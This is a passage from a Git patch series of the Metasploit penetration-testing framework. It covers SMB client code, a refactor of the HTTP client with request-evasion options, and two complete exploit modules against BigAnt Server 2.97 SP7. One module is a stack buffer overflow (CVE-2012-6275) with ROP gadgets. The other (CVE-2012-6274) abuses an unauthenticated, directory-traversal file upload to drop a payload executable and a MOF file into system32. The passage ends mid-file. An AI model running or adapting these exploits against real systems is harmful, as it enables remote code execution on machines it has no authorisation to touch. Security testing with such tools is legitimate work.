our first chunk of bytes + chunk = data.slice!(0, self.chunk_size) + + # Keep writing data until we run out + while (chunk.length > 0) + ok = self.client.write(self.file_id, fptr, chunk) + cl = ok['Payload'].v['CountLow'] + + # Partial write, push the failed data back into the queue + if (cl != chunk.length) + data = chunk.slice(cl - 1, chunk.length - cl) + data + end + + # Increment our painter and grab the next chunk + fptr += cl + chunk = data.slice!(0, self.chunk_size) + end + end +end +end +end +end +end diff --git a/lib/rex/proto/smb/simpleclient/open_pipe.rb b/lib/rex/proto/smb/simpleclient/open_pipe.rb new file mode 100644 index 0000000000..387ee4ff9a --- /dev/null +++ b/lib/rex/proto/smb/simpleclient/open_pipe.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module SMB +class SimpleClient + +class OpenPipe < OpenFile + + # Valid modes are: 'trans' and 'rw' + attr_accessor :mode + + def initialize(*args) + super(*args) + self.mode = 'rw' + @buff = '' + end + + def read_buffer(length, offset=0) + length ||= @buff.length + @buff.slice!(0, length) + end + + def read(length = nil, offset = 0) + case self.mode + when 'trans' + read_buffer(length, offset) + when 'rw' + super(length, offset) + else + raise ArgumentError + end + end + + def write(data, offset = 0) + case self.mode + + when 'trans' + write_trans(data, offset) + when 'rw' + super(data, offset) + else + raise ArgumentError + end + end + + def write_trans(data, offset=0) + ack = self.client.trans_named_pipe(self.file_id, data) + doff = ack['Payload'].v['DataOffset'] + dlen = ack['Payload'].v['DataCount'] + @buff << ack.to_s[4+doff, dlen] + end +end +end +end +end +end From a8d574e4ce0437f4a8d57ee1f47ea99067d55935 Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Sun, 17 Feb 2013 14:08:33 -0500 Subject: [PATCH 258/448] Updated one print_status --- modules/exploits/windows/local/s4u_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 1d5d2cc0bb..e6197463c5 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -163,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Local ut = vt['lpSystemTime'].unpack("v*") t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5]) rescue - print_warning("Could not read system time from victim...using your local time to determine expire date") + print_warning("Could not read system time from victim...using your local time to determine creation date") t = ::Time.now end date = t.strftime("%Y-%m-%d") From 1a2a0bc38e44edc2c6dfec5a7e641788ef6962ba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:21:45 +0100 Subject: [PATCH 259/448] Added module for CVE-2012-6275 --- .../misc/bigant_server_sch_dupf_bof.rb | 183 ++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb new file mode 100644 index 0000000000..fd560463cd --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The + vulnerability is due to the dangerous usage of strcpy while handling errors. This + module uses a combination of SCH and DUPF request to trigger the vulnerability and + has been tested successfully against version 2.97 SP7 over Windows XP SP3 and + Windows 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6275' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89344' ] + ], + 'Payload' => + { + 'Space' => 2500, + 'BadChars' => "\x00\x0a\x0d\x25\x27", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7 / Windows XP SP3', + { + 'Offset' => 629, + 'Ret' => 0x77c21ef4, # ppr from msvcrt + 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt + 'FakeObject' => 0x77C60410 # .data from msvcrt + } + ], + [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2', + { + 'Offset' => 629, + 'Ret' => 0x77bb287a, # ppr from msvcrt + 'FakeObject' => 0x77bf2460, # .data from msvcrt + :callback_rop => :w2003_sp2_rop + } + ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options([Opt::RPORT(6661)], self.class) + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V")[0].to_i + end + + def nop + return make_nops(4).unpack("V")[0].to_i + end + + def w2003_sp2_rop + rop_gadgets = + [ + 0x77bc5d88, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77bb0c86, # XCHG EAX,ESI # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bc5d88, # POP EAX # RETN + 0x03C0990F, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bc5d88, # POP EAX # RETN + 0x03c0984f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bc5d88, # POP EAX # RETN + nop, + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") + + return rop_gadgets + end + + def exploit + + sploit = rand_text_alpha(target['Offset']) + sploit << [target.ret].pack("V") + sploit << [target['FakeObject']].pack("V") + sploit << [target['FakeObject']].pack("V") + if target[:callback_rop] and self.respond_to?(target[:callback_rop]) + sploit << self.send(target[:callback_rop]) + else + sploit << [target['JmpESP']].pack("V") + end + sploit << payload.encoded + + random_filename = rand_text_alpha(4) + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + random_userid = rand_text_numeric(1) + random_username = rand_text_alpha_lower(5) + random_content = rand_text_alpha(10 + rand(10)) + + sch = "SCH 16\n" + sch << "cmdid: 1\n" + sch << "content-length: 0\n" + sch << "content-type: Appliction/Download\n" + sch << "filename: #{random_filename}.txt\n" + sch << "modified: #{random_date}\n" + sch << "pclassid: 102\n" + sch << "pobjid: 1\n" + sch << "rootid: 1\n" + sch << "sendcheck: 1\n" + sch << "source_cmdname: DUPF\n" + sch << "source_content-length: 116619\n" + sch << "userid: #{random_userid}\n" + sch << "username: #{sploit}\n\n" + + print_status("Trying target #{target.name}...") + + connect + print_status("Sending SCH request...") + sock.put(sch) + res = sock.get_once + if res.nil? + fail_with(Exploit::Failure::Unknown, "No response to the SCH request") + end + if res=~ /scmderid: \{(.*)\}/ + scmderid = $1 + else + fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") + end + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{random_content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{random_filename}.txt\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "scmderid: {#{scmderid}}\n" + dupf << "sendcheck: 1\n" + dupf << "userid: #{random_userid}\n" + dupf << "username: #{random_username}\n\n" + dupf << random_content + + print_status("Sending DUPF request...") + sock.put(dupf) + #sock.get_once + disconnect + + end + +end From 31a3a374c3efd9c979a8b0a6f4d5ee6bc72b5daf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:25:39 +0100 Subject: [PATCH 260/448] Added module for CVE-2012-6274 --- .../windows/misc/bigant_server_dupf_upload.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/windows/misc/bigant_server_dupf_upload.rb diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb new file mode 100644 index 0000000000..8f55b2df4c --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -0,0 +1,126 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', + 'Description' => %q{ + This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. + A lack of authentication allows to make unauthenticated file uploads through a DUPF + command. Additionally the filename option in the same command can be used to launch + a directory traversal attack and achieve arbitrary file upload. + + The module uses uses the Windows Management Instrumentation service to execute an + arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It + has been successfully tested on BigAnt Server 2.97 SP7 Windows XP SP3 and 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6274' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89342' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options( + [ + Opt::RPORT(6661), + OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) + ], self.class) + + end + + def upload_file(filename, content) + + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "sendcheck: 1\n\n" + dupf << content + + print_status("sending DUPF") + connect + sock.put(dupf) + res = sock.get_once + disconnect + return res + + end + + def exploit + + peer = "#{rhost}:#{rport}" + + # Setup the necessary files to do the wbemexec trick + exe_name = rand_text_alpha(rand(10)+5) + '.exe' + exe = generate_payload_exe + mof_name = rand_text_alpha(rand(10)+5) + '.mof' + mof = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") + res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{exe_name} uploaded successfully") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") + end + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") + res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{mof_name} uploaded successfully") + register_file_for_cleanup(exe_name) + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") + end + + end + +end From 322fa53d490b007164229f0ae3ef1874b72744bd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:29:41 +0100 Subject: [PATCH 261/448] fix typo --- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index 8f55b2df4c..bed756cb52 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It - has been successfully tested on BigAnt Server 2.97 SP7 Windows XP SP3 and 2003 SP2. + has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 + SP2. }, 'Author' => [ From dd26b081976491bf91a89eaa08c9a9db3bf001e5 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 17 Feb 2013 19:25:27 -0600 Subject: [PATCH 262/448] first run at Clientrequest object need a reliable object class for request_raw and request_cgi so that we can manipulate requests in a safe and sane manner. It is not a eprfect solution, but should fix what we need for the auth work. --- lib/rex/proto/http.rb | 1 + lib/rex/proto/http/client.rb | 444 ++------------------------ lib/rex/proto/http/client_request.rb | 454 +++++++++++++++++++++++++++ 3 files changed, 480 insertions(+), 419 deletions(-) create mode 100644 lib/rex/proto/http/client_request.rb diff --git a/lib/rex/proto/http.rb b/lib/rex/proto/http.rb index 1ff65061ec..85a4f31e3c 100644 --- a/lib/rex/proto/http.rb +++ b/lib/rex/proto/http.rb @@ -4,3 +4,4 @@ require 'rex/proto/http/request' require 'rex/proto/http/response' require 'rex/proto/http/client' require 'rex/proto/http/server' +require 'rex/proto/http/client_request' \ No newline at end of file diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 75ba1f9574..690cd58f4d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,6 +8,8 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' +require 'pry' + module Rex module Proto module Http @@ -240,103 +242,32 @@ class Client # # @return [Request] def request_cgi(opts={}) - c_ag = opts['agent'] || config['agent'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - c_body = opts['data'] || '' - c_cgi = opts['uri'] || '/' - c_conn = opts['connection'] - c_cook = opts['cookie'] || config['cookie'] - c_enc = opts['encode'] || false - c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false) - c_head = opts['headers'] || config['headers'] || {} - c_host = opts['vhost'] || config['vhost'] - c_meth = opts['method'] || 'GET' - c_path = opts['path_info'] - c_prot = opts['proto'] || 'HTTP' - c_qs = opts['query'] || '' - c_rawh = opts['raw_headers'] || config['raw_headers'] || '' - c_type = opts['ctype'] || 'application/x-www-form-urlencoded' - c_varg = opts['vars_get'] || {} - c_varp = opts['vars_post'] || {} - c_vers = opts['version'] || config['version'] || '1.1' + opts['agent'] ||= config['agent'] + opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' + opts['data'] ||= '' + opts['uri'] ||= '/' + opts['cookie'] ||= config['cookie'] + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['vhost'] ||= config['vhost'] + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['vars_get'] ||= {} + opts['vars_post'] ||= {} + opts['version'] = opts['version'] || config['version'] || '1.1' + opts['cgi'] = true + opts['port'] = self.port - uri = set_cgi(c_cgi) - qstr = c_qs - pstr = c_body - - if (config['pad_get_params']) - 1.upto(config['pad_get_params_count'].to_i) do |i| - qstr << '&' if qstr.length > 0 - qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) - qstr << '=' - qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) - end + if opts['encode_params'] == true or opts['encode_params'].nil? + opts['encode_params'] = true + else + opts['encode_params'] = false end - c_varg.each_pair do |var,val| - qstr << '&' if qstr.length > 0 - qstr << (c_enc_p ? set_encode_uri(var) : var) - qstr << '=' - qstr << (c_enc_p ? set_encode_uri(val) : val) - end - - if (config['pad_post_params']) - 1.upto(config['pad_post_params_count'].to_i) do |i| - rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) - rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) - pstr << '&' if pstr.length > 0 - pstr << (c_enc_p ? set_encode_uri(rand_var) : rand_var) - pstr << '=' - pstr << (c_enc_p ? set_encode_uri(rand_val) : rand_val) - end - end - - c_varp.each_pair do |var,val| - pstr << '&' if pstr.length > 0 - pstr << (c_enc_p ? set_encode_uri(var) : var) - pstr << '=' - pstr << (c_enc_p ? set_encode_uri(val) : val) - end - - req = '' - req << set_method(c_meth) - req << set_method_uri_spacer() - req << set_uri_prepend() - req << (c_enc ? set_encode_uri(uri):uri) - - if (qstr.length > 0) - req << '?' - req << qstr - end - - req << set_path_info(c_path) - req << set_uri_append() - req << set_uri_version_spacer() - req << set_version(c_prot, c_vers) - req << set_host_header(c_host) - req << set_agent_header(c_ag) - - if (c_auth.length > 0) - unless c_head['Authorization'] and c_head['Authorization'].include? "Basic" - req << set_basic_auth_header(c_auth) - end - end - - req << set_cookie_header(c_cook) - req << set_connection_header(c_conn) - req << set_extra_headers(c_head) - - req << set_content_type_header(c_type) - req << set_content_len_header(pstr.length) - req << set_chunked_header() - req << set_raw_headers(c_rawh) - req << set_body(pstr) - - request = Request.new - request.parse(req) - request.options = opts - - request + req = ClientRequest.new(opts,self.config) end # @@ -855,284 +786,6 @@ class Client pipeline end - # - # Return the encoded URI - # ['none','hex-normal', 'hex-all', 'u-normal', 'u-all'] - def set_encode_uri(uri) - a = uri - self.config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, self.config['uri_encode_mode']) - } - return a - end - - # - # Return the encoded query string - # - def set_encode_qs(qs) - a = qs - self.config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, self.config['uri_encode_mode']) - } - return a - end - - # - # Return the uri - # - def set_uri(uri) - - if (self.config['uri_dir_self_reference']) - uri.gsub!('/', '/./') - end - - if (self.config['uri_dir_fake_relative']) - buf = "" - uri.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri = buf - end - - if (self.config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << ((self.port == 80) ? "" : ":#{self.port}") - url << uri - url - else - uri - end - end - - # - # Return the cgi - # - def set_cgi(uri) - - if (self.config['uri_dir_self_reference']) - uri.gsub!('/', '/./') - end - - if (self.config['uri_dir_fake_relative']) - buf = "" - uri.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri = buf - end - - url = uri - - if (self.config['uri_full_url']) - url = self.ssl ? "https" : "http" - url << self.config['vhost'] - url << (self.port == 80) ? "" : ":#{self.port}" - url << uri - end - - url - end - - # - # Return the HTTP method string - # - def set_method(method) - ret = method - - if (self.config['method_random_valid']) - ret = ['GET', 'POST', 'HEAD'][rand(3)] - end - - if (self.config['method_random_invalid']) - ret = Rex::Text.rand_text_alpha(rand(20)+1) - end - - if (self.config['method_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - - ret - end - - # - # Return the HTTP version string - # - def set_version(protocol, version) - ret = protocol + "/" + version - - if (self.config['version_random_valid']) - ret = protocol + "/" + ['1.0', '1.1'][rand(2)] - end - - if (self.config['version_random_invalid']) - ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) - end - - if (self.config['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - - ret << "\r\n" - end - - # - # Return the HTTP seperator and body string - # - def set_body(data) - return "\r\n" + data if self.config['chunked_size'] == 0 - str = data.dup - chunked = '' - while str.size > 0 - chunk = str.slice!(0,rand(self.config['chunked_size']) + 1) - chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" - end - "\r\n" + chunked + "0\r\n\r\n" - end - - # - # Return the HTTP path info - # TODO: - # * Encode path information - def set_path_info(path) - path ? path : '' - end - - # - # Return the spacing between the method and uri - # - def set_method_uri_spacer - len = self.config['pad_method_uri_count'].to_i - set = " " - buf = "" - - case self.config['pad_method_uri_type'] - when 'tab' - set = "\t" - when 'apache' - set = "\t \x0b\x0c\x0d" - end - - while(buf.length < len) - buf << set[ rand(set.length) ] - end - - return buf - end - - # - # Return the spacing between the uri and the version - # - def set_uri_version_spacer - len = self.config['pad_uri_version_count'].to_i - set = " " - buf = "" - - case self.config['pad_uri_version_type'] - when 'tab' - set = "\t" - when 'apache' - set = "\t \x0b\x0c\x0d" - end - - while(buf.length < len) - buf << set[ rand(set.length) ] - end - - return buf - end - - # - # Return the padding to place before the uri - # - def set_uri_prepend - prefix = "" - - if (self.config['uri_fake_params_start']) - prefix << '/%3fa=b/../' - end - - if (self.config['uri_fake_end']) - prefix << '/%20HTTP/1.0/../../' - end - - prefix - end - - # - # Return the padding to place before the uri - # - def set_uri_append - # TODO: - # * Support different padding types - "" - end - - # - # Return the HTTP Host header - # - def set_host_header(host=nil) - return "" if self.config['uri_full_url'] - host ||= self.config['vhost'] - - # IPv6 addresses must be placed in brackets - if Rex::Socket.is_ipv6?(host) - host = "[#{host}]" - end - - # The port should be appended if non-standard - if not [80,443].include?(self.port) - host = host + ":#{port}" - end - - set_formatted_header("Host", host) - end - - # - # Return the HTTP agent header - # - def set_agent_header(agent) - agent ? set_formatted_header("User-Agent", agent) : "" - end - - # - # Return the HTTP cookie header - # - def set_cookie_header(cookie) - cookie ? set_formatted_header("Cookie", cookie) : "" - end - - # - # Return the HTTP connection header - # - def set_connection_header(conn) - conn ? set_formatted_header("Connection", conn) : "" - end - - # - # Return the content type header - # - def set_content_type_header(ctype) - set_formatted_header("Content-Type", ctype) - end - - # - # Return the content length header - def set_content_len_header(clen) - return "" if self.config['chunked_size'] > 0 - set_formatted_header("Content-Length", clen) - end - # # Return the Authorization basic-auth header # @@ -1140,53 +793,6 @@ class Client auth ? set_formatted_header("Authorization", "Basic " + Rex::Text.encode_base64(auth)) : "" end - # - # Return a string of formatted extra headers - # - def set_extra_headers(headers) - buf = '' - - if (self.config['pad_fake_headers']) - 1.upto(self.config['pad_fake_headers_count'].to_i) do |i| - buf << set_formatted_header( - Rex::Text.rand_text_alphanumeric(rand(32)+1), - Rex::Text.rand_text_alphanumeric(rand(32)+1) - ) - end - end - - headers.each_pair do |var,val| - buf << set_formatted_header(var, val) - end - - buf - end - - def set_chunked_header() - return "" if self.config['chunked_size'] == 0 - set_formatted_header('Transfer-Encoding', 'chunked') - end - - # - # Return a string of raw header data - # - def set_raw_headers(data) - data - end - - # - # Return a formatted header string - # - def set_formatted_header(var, val) - if (self.config['header_folding']) - "#{var}:\r\n\t#{val}\r\n" - else - "#{var}: #{val}\r\n" - end - end - - - # # The client request configuration # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb new file mode 100644 index 0000000000..cb76327f2b --- /dev/null +++ b/lib/rex/proto/http/client_request.rb @@ -0,0 +1,454 @@ +# -*- coding: binary -*- +require 'uri' +require 'rex/proto/http' + +module Rex +module Proto +module Http + +class ClientRequest + + attr_accessor :authorization + attr_accessor :cgi + attr_accessor :config + attr_accessor :connection + attr_accessor :content_type + attr_accessor :cookie + attr_accessor :data + attr_accessor :encode + attr_accessor :encode_params + attr_accessor :headers + attr_accessor :host + attr_accessor :method + attr_accessor :path + attr_accessor :port + attr_accessor :protocol + attr_accessor :query + attr_accessor :raw_headers + attr_accessor :uri + attr_accessor :user_agent + attr_accessor :vars_get + attr_accessor :vars_post + attr_accessor :version + + def initialize(opts={}, client_config) + @cgi = opts['cgi'] + @config = client_config + @connection = opts['connection'] + @content_type = opts['ctype'] + @cookie = opts['cookie'] + @data = opts['data'] + @encode = opts['encode'] + @encode_params = opts['encode_params'] + @headers = opts['headers'] + @host = opts['vhost'] + @method = opts['method'] + @path = opts['path_info'] + @port = opts['port'] + @protocol = opts['proto'] + @query = opts['query'] + @raw_headers = opts['raw_headers'] + @uri = opts['uri'] + @user_agent = opts['agent'] + @vars_get = opts['vars_get'] + @vars_post = opts['vars_post'] + @version = opts['version'] + end + + def to_s + + # Start GET query string + qstr = query + + # Start POST data string + pstr = data + + if cgi == true + uri_str= set_cgi + + if (config['pad_get_params']) + 1.upto(config['pad_get_params_count'].to_i) do |i| + qstr << '&' if qstr.length > 0 + qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) + qstr << '=' + qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) + end + end + + vars_get.each_pair do |var,val| + qstr << '&' if qstr.length > 0 + qstr << (encode_params ? set_encode_uri(var) : var) + qstr << '=' + qstr << (encode_params ? set_encode_uri(val) : val) + end + + if (config['pad_post_params']) + 1.upto(config['pad_post_params_count'].to_i) do |i| + rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) + rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) + pstr << '&' if pstr.length > 0 + pstr << (encode_params ? set_encode_uri(rand_var) : rand_var) + pstr << '=' + pstr << (encode_params ? set_encode_uri(rand_val) : rand_val) + end + end + + vars_post.each_pair do |var,val| + pstr << '&' if pstr.length > 0 + pstr << (encode_params ? set_encode_uri(var) : var) + pstr << '=' + pstr << (encode_params ? set_encode_uri(val) : val) + end + else + uri_str = set_uri + if encode + qstr = set_encode_uri(qstr) + end + end + + req = '' + req << set_method + req << set_method_uri_spacer() + req << set_uri_prepend() + + if encode + req << set_encode_uri(uri_str) + else + req << uri_str + end + + + if (qstr.length > 0) + req << '?' + req << qstr + end + + req << set_path_info + req << set_uri_append() + req << set_uri_version_spacer() + req << set_version + req << set_host_header + + # If an explicit User-Agent header is set, then use that instead of the value of user_agent + unless headers.keys.map{|x| x.downcase }.include?('user-agent') + req << set_agent_header + end + + if authorization + req << set_auth_header + end + + req << set_cookie_header + req << set_connection_header + req << set_extra_headers + + req << set_content_type_header + req << set_content_len_header(pstr.length) + req << set_chunked_header() + req << raw_headers + req << set_body(pstr) + end + + protected + + def set_auth_header + "Authorization: " + authorization + end + + def set_uri + if (config['uri_dir_self_reference']) + uri.gsub!('/', '/./') + end + + if (config['uri_dir_fake_relative']) + buf = "" + uri.split('/').each do |part| + cnt = rand(8)+2 + 1.upto(cnt) { |idx| + buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) + } + buf << ("/.." * cnt) + buf << "/" + part + end + uri = buf + end + + if (config['uri_full_url']) + url = self.ssl ? "https" : "http" + url << self.config['vhost'] + url << ((self.port == 80) ? "" : ":#{self.port}") + url << uri + url + else + uri + end + end + + def set_cgi + uri_str = uri + if (config['uri_dir_self_reference']) + uri_str.gsub!('/', '/./') + end + + if (config['uri_dir_fake_relative']) + buf = "" + uri_str.split('/').each do |part| + cnt = rand(8)+2 + 1.upto(cnt) { |idx| + buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) + } + buf << ("/.." * cnt) + buf << "/" + part + end + uri_str = buf + end + + url = uri_str + + if (config['uri_full_url']) + url = self.ssl ? "https" : "http" + url << self.config['vhost'] + url << (self.port == 80) ? "" : ":#{self.port}" + url << uri_str + end + + url + end + + def set_encode_uri(str) + a = str + config['uri_encode_count'].times { + a = Rex::Text.uri_encode(a, config['uri_encode_mode']) + } + return a + end + + def set_method + ret = method + + if (config['method_random_valid']) + ret = ['GET', 'POST', 'HEAD'][rand(3)] + end + + if (config['method_random_invalid']) + ret = Rex::Text.rand_text_alpha(rand(20)+1) + end + + if (config['method_random_case']) + ret = Rex::Text.to_rand_case(ret) + end + + ret + end + + def set_method_uri_spacer + len = config['pad_method_uri_count'].to_i + set = " " + buf = "" + + case config['pad_method_uri_type'] + when 'tab' + set = "\t" + when 'apache' + set = "\t \x0b\x0c\x0d" + end + + while(buf.length < len) + buf << set[ rand(set.length) ] + end + + return buf + end + + # + # Return the padding to place before the uri + # + def set_uri_prepend + prefix = "" + + if (config['uri_fake_params_start']) + prefix << '/%3fa=b/../' + end + + if (config['uri_fake_end']) + prefix << '/%20HTTP/1.0/../../' + end + + prefix + end + + # + # Return the HTTP path info + # TODO: + # * Encode path information + def set_path_info + path ? path : '' + end + + # + # Return the padding to place before the uri + # + def 